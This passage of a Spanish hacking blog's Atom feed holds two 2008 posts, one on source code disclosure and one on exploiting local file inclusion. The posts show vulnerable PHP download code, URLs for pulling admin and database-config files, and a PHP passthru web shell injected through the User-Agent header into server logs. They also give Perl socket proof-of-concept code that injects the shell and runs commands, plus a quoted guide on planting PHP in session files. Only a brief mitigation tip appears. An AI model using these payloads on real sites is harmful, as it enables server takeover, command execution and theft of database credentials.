href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2358553122054189018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2358553122054189018'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/form-tampering-modificando-formularios.html' title='Form Tampering: Modificando Formularios'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1926098613765028478</id><published>2008-08-23T21:44:00.000+02:00</published><updated>2008-08-24T21:56:12.455+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><title type='text'>Source Code Disclosure [ S.C.D.]</title><content type='html'>&lt;style&gt;&lt;br /&gt;fieldset{ background: black; color: lime; border: 1px dotted lime;}&lt;/style&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;  Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª clase, tales como RFI, LFI, o SQL Injections pero que aún así puede suponer un gran impacto sobre la seguridad de una web) al ver el exploit codeado por SetH.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  La vulnerabilidad en sí consiste en permitir ver el código fuente de archivos alojados en el servidor, conllevando a que un atacante malicoso obtenga información sensible, tales como los datos de las DBs (nombre de usuario, password, etc) o poder ver el funcionamiento de una tercera aplicación que esté en el servidor, permitiendo buscar vulnerabilidades de forma más facil.&lt;br /&gt;&lt;br /&gt;  Nosotros vamos a diferenciar entre dos tipos de SCD, el primero que pasaremos inmediatamente a analizar se basa en la posibilidad de descarga a nuestro ordenador de  archivos de la web. El segundo tipo del que hablaremos es caracterizado por ver el código fuente dentro de otro archivo, es decir, lo podremos ver desde el navegador sin necesidar de descargarlo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Imaginemos un posible código fuente de una aplicación encargada de descargar los archivos que nosotros le indiquemos a través de una sencilla petición GET. El código vulnerable podría ser este:&lt;br /&gt;&lt;fieldset&gt;&amp;lt;?php&lt;br /&gt;/* Ejemplo de código vulnerable&lt;br /&gt;===================================&lt;br /&gt;Paper sobre Source Code Disclosure&lt;br /&gt; By Vengador de las Sombras&lt;br /&gt;===================================&lt;br /&gt;Flaming our Skills TeaM (F.O.S.)&lt;br /&gt;=================================== */&lt;br /&gt;ob_start();&lt;br /&gt;$archivo=$_GET['descargar'];&lt;br /&gt;if ($archivo == " "){ //Si no se introduce nada en descargar, mostrara un error&lt;br /&gt;echo '&amp;lt;script&gt;alert("ERROR! No ha introducido ningún archivo!!")&amp;lt;/script&gt;';&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;header("Pragma: public");&lt;br /&gt;header("Expires: 0");&lt;br /&gt;header("Content-type: aplication/octet-stream");&lt;br /&gt;header("Content-disposition: attachment; filename=$archivo");&lt;br /&gt;header("Content-Length:".filesize("$archivo"));&lt;br /&gt;readfile("$filename");&lt;br /&gt;?&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;El funcionamiento de esta sencillísima aplicación sería el de descargar un archivo que introduzcamos a través de la URL, por ejemplo http://SCD.com/index.php?descargar=/documentos/ficha.doc . Como podeis ver en el código fuente, no hemos añadido ningún tipo de filtro, por lo que un usuario malintencionado podría poner en ?descargar= otro archivo distinto, lo que conllevaría la descarga de otro archivo alojado en el servidor. &lt;br /&gt;&lt;br /&gt;  Es decir, si nosotros modificamos la URL y colocamos http://SCD.com/index.php?descargar=/admin/admin.php, obtendríamos como resultado la descarga del index del panel de administración... Con lo que podríamos buscar posibles vectores de ataque contra ese archivo (o contra cualquier otro que nos descarguemos).&lt;br /&gt;&lt;br /&gt;  Pero de esta forma no se le saca el auténtico jugo de esta vulnerabilidad, puesto que puede ser dificultoso encontrar bugs dentro del source de las aplicaciones. El auténtico jugo se le saca cuando dentro del código fuente de lo que nos descargamos aparecen datos de la DB. En este caso, nos abría tocado el gordo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Retomemando el ejemplo anterior, imaginémonos que dentro del código fuente de admin.php encontramos una línea similar a esta:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;include("/admin/includes/database.inc");&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Inclusiones de este tipo dentro del código fuente de un .php suele ir asociado a la asignación de los datos necesarios para conectarse a la Base de Datos y que la aplicación trabaje sobre ella. Entonces siempre deberemos de descargarnos esta clase de archivos, puesto que es muy alta la probabilidad de encontrar datos como DB_USER, DB_PASS y demás.&lt;br /&gt;&lt;br /&gt;  El segundo tipo del que os iba a hablar es del que aparece en el siguiente post de una vulnerabilidad descubierta por SetH (&lt;a href="http://foro.portalhacker.net/index.php/topic,74962.0.html"&gt;Post aqui&lt;/a&gt;). Se produce cuando permiten la inclusión de un archivo (el típico LFI), pero filtran el código para evitar que se ejecute.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  A diferencia del tipo anteriormente comentado, ahora para ver el código fuente no recurriremos a la descarga del archivo, si no que al hacer la inclusión pueden ocurrir dos cosas:&lt;br /&gt;&lt;br /&gt;a)Veamos el código fuente del archivo&lt;br /&gt;b)Sólo veamos pequeñas partes del código y algunos tags HTML ejecutados&lt;br /&gt;&lt;br /&gt;  De encontrarnos en el segundo caso, para ver el código fuente únicamente tendremos que darle a "Ver Código fuente" dentro del navegador, en FireFox existe el método abreviado de Crtl + U. Ahí veremos perfectamente todo el código fuente :) ( el PHP tambien se ve de esta forma)&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1926098613765028478?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1926098613765028478/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1926098613765028478' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1926098613765028478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1926098613765028478'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/source-code-disclosure-scd.html' title='Source Code Disclosure [ S.C.D.]'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6742947476576220507</id><published>2008-08-23T18:41:00.000+02:00</published><updated>2008-08-24T21:55:13.415+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='File Inclusion'/><title type='text'>Local File Inclusion: Infectando archivos</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt; &lt;code&gt;Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen ningún sistema de upload de fotos  u otro tipo de archivos... Entonces nos vemos en la necesidad de recurrir a otros trucos para poder sacarle jugo a ese LFI que habíamos encontrado.&lt;br /&gt;&lt;br /&gt;  Como no podemos subir archivos desde nuestro ordenador, tendremos que buscar una forma para poder introducir nuestra shell dentro del servidor. Es aquí donde entra el juego la "infección", entendiendo infección como la adición de código malicioso (una shell, un backdoor, algún exploit, etc) dentro de un archivo legítimo del servidor. Esta hazaña puede parecer muy dificil, pero si tenemos en cuenta que existen numerosos archivos que son sobreescritos mientras que navegamos, la cosa se aclara un poco más. Para ejemplificar esto de la infección de archivos, voy a proceder a explicar cómo explotar un LFI a partir de los Logs del servidor, y también a partir de un sistema de sesiones (este último ejemplo lo extraigo del foro vZack).&lt;br /&gt;&lt;br /&gt;=====================================================================================&lt;br /&gt;       &lt;FONT COLOR=LIME&gt;INFECTANDO LOGS&lt;/FONT&gt;&lt;br /&gt;&lt;br /&gt;  Todo el mundo sabe que en los servidores se guardan unos logs que archivan los errores y movimientos que se realizan dentro del servidor. Usualmente, estos logs suelen guardar informaciones tales como la IP del visitante, su navegador, etc...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Esta información la extraen a través de las HTTP Headers que se mandan al servidor. Un ejemplo de una cabecera corta sería:&lt;br&gt;&lt;br&gt;&lt;font color=white&gt;GET / HTTP/1.1&lt;br /&gt;Host: level-23.com&lt;br /&gt;&lt;font color=red&gt;User-Agent:&lt;/font&gt; Mozilla Firefox&lt;br /&gt;Connection: Keep-Alive&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Como observais, User-Agent va a contener la información de nuestro navegador... y esta misma información (exactamente lo mismo) va a ser escrita dentro de los logs....&lt;br /&gt;&lt;br /&gt;  Si tenemos en ese servidor un archivo vulnerable a LFI, ya sabeis, los típicos:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;...........&lt;br /&gt;...........&lt;br /&gt;codigo....&lt;br /&gt;.,,,,,,,,,...&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include($_GET['page']);&lt;br /&gt;?&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Podemos poner en la variable de tipo GET page un archivo que se encuentre dentro del servidor... Usualmente solemos buscar por instinto algún upload de imágenes/txt o cosas así... Pero si no encontramos alguno... ¿Como podemos subir nuestra shell?.&lt;br /&gt;&lt;br /&gt;  En vez de subir shell, lo que vamos a hacer es infectar los logs con código malicioso, es decir, vamos a introducir una shell dentro del servidor aprovechando que guarda la información de variables tales como User-Agent (esta técnica también es aplicable a otras variables).&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Para inyectar el código, tenemos dos opciones, la primera sería usar algún sniffer de cabeceras como puedes Tamper Data, o Live HTTP Headers, (ambos add ons para FireFox). La segunda opción (y con la que yo creo que se aprende más) es creando un exploit (yo recomiendo PHP o PERL).&lt;br /&gt;&lt;br /&gt;  El exploit lo debemos de componer de dos partes. La primera parte será la encargada de mandar una cabecera que infecte los logs, y la segunda será la encargada de ejecutar los comandos y mostrar el output de éstos. Para empezar debemos de lanzar unos sockets que manden la cabecera con el siguiente código:&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php echo "Empieza";  passthru($_SERVER[HTTP_FoS); echo "Final"; ?&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Entonces debería de quedar algo tipo...&lt;fieldset&gt;use IO::Socket::INET;&lt;br /&gt;$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",&lt;br /&gt;         PeerAddr =&gt; "$host",&lt;br /&gt;         PeerPort =&gt; "80")&lt;br /&gt;         || die "[-]Connect Failed: could not connect to $host\n";&lt;br /&gt;print $socket "GET / HTTP/1.1\nHost: $host\nUser-Agent: &amp;lt;?php echo "Empieza";  passthru($_SERVER[HTTP_FoS); echo "Final"; ?&gt;\nConnection: Keep-Alive\n\n";&lt;br /&gt;&lt;br /&gt;close $socket;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Y despues para ejecutar los comandos, tenemos que mandar en la cabecera una nueva variable, FoS, que será la contenga los comandos a ejecutar, pero esta vez tendremos que hacer una petición GET al archivo vulnerable a LFI, haciendo ya la inclusión del log:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;use IO::Socket::INET;&lt;br /&gt;$peticion= "path/archivo.php?="."../../lugar/del/log";&lt;br /&gt;$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",&lt;br /&gt;         PeerAddr =&gt; "$host",&lt;br /&gt;         PeerPort =&gt; "80")&lt;br /&gt;         || die "[-]Connect Failed: could not connect to $host\n";&lt;br /&gt;print $socket "GET $peticion HTTP/1.1\nHost: $host\nFoS: ls -la\nConnection: Keep-Alive\n\n";&lt;br /&gt;close $socket;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Yo recomiendo hacer un bucle con FOR para incluir todos los lugares donde se encuentran los logs de forma habitual... (como el lógico tendreis que añadir la variable $host, y montar realmente el exploit, esto es un simple PoC).&lt;br /&gt;&lt;br /&gt;  Para hacer el output del comando, recomiendo recoger la &lt;answer&gt; del socket y pasarle un patrón de búsqueda para que busque "Empieza" y a partir de ahí mostrar el código fuente hasta "Final" (por eso lo escribí en la shell, para que sirviesen como acotación del output).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====================================================================================&lt;br /&gt;       &lt;FONT COLOR=LIME&gt;INFECTANDO SESIONES (extraido del foro de vZack)&lt;/FONT&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Introducion&lt;br /&gt;Muchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este manual os enseñare a como ejecutar LFI teniendo una web vulnerable.&lt;br /&gt;&lt;br /&gt;Requisitos de la web:&lt;br /&gt;-Que use LFI&lt;br /&gt;-Que tenga un sistema de usuarios o algún sistema que funciones con sesiones.&lt;br /&gt;&lt;br /&gt;Teoría&lt;br /&gt;Supongo que sabreis que las sesiones php te mandan una cookie (llamada PHPSSESID habitualmente) con un identificador en su interior, que a php le sirve para encontrar los valores de la cookie que se encuentran en /tmp/sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_[id] introduciendo código php en su interior.&lt;br /&gt;&lt;br /&gt;La practica&lt;br /&gt;Ejemplo de código vulnerable simplificado:&lt;br /&gt;&lt;fieldset&gt;&amp;lt;?php&lt;br /&gt;session_start();&lt;br /&gt;$idioma = $_GET['idioma'];&lt;br /&gt;$_SESSION['idioma'] = $idioma;&lt;br /&gt;&lt;br /&gt;if($_SESSION['idioma'] == 'en')&lt;br /&gt;echo 'Hi, welcome to my website';&lt;br /&gt;else&lt;br /&gt;echo'Hola, bienvenido a mi sitio web';&lt;br /&gt;?&gt;&lt;/fieldset&gt;Que pasaría si visitaríamos index.php?idioma=&amp;lt;? phpinfo(); ?&gt;,  $_SESSION[idioma] tomaría el valor de &amp;lt;? phpinfo(); ?&gt;, y este código se guardaría en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php "infectando" la sesion.&lt;br /&gt;&lt;br /&gt;Solución&lt;br /&gt;Para que esto no te pase en tus aplicaciones es recomendable pasar la sesión por htmlspecialchars, asi no podrian abrir las tags del php (&amp;lt;? y ?&gt;)&lt;br /&gt;&lt;br /&gt;Este método se me a ocurrido a mi pero bueno seguramente esta descubierto hace tiempo.&lt;br /&gt;&lt;br /&gt;Saludos a todos  (Hondamena)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6742947476576220507?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6742947476576220507/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6742947476576220507' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6742947476576220507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6742947476576220507'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html' title='Local File Inclusion: Infectando archivos'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>4</thr:total></entry></feed>
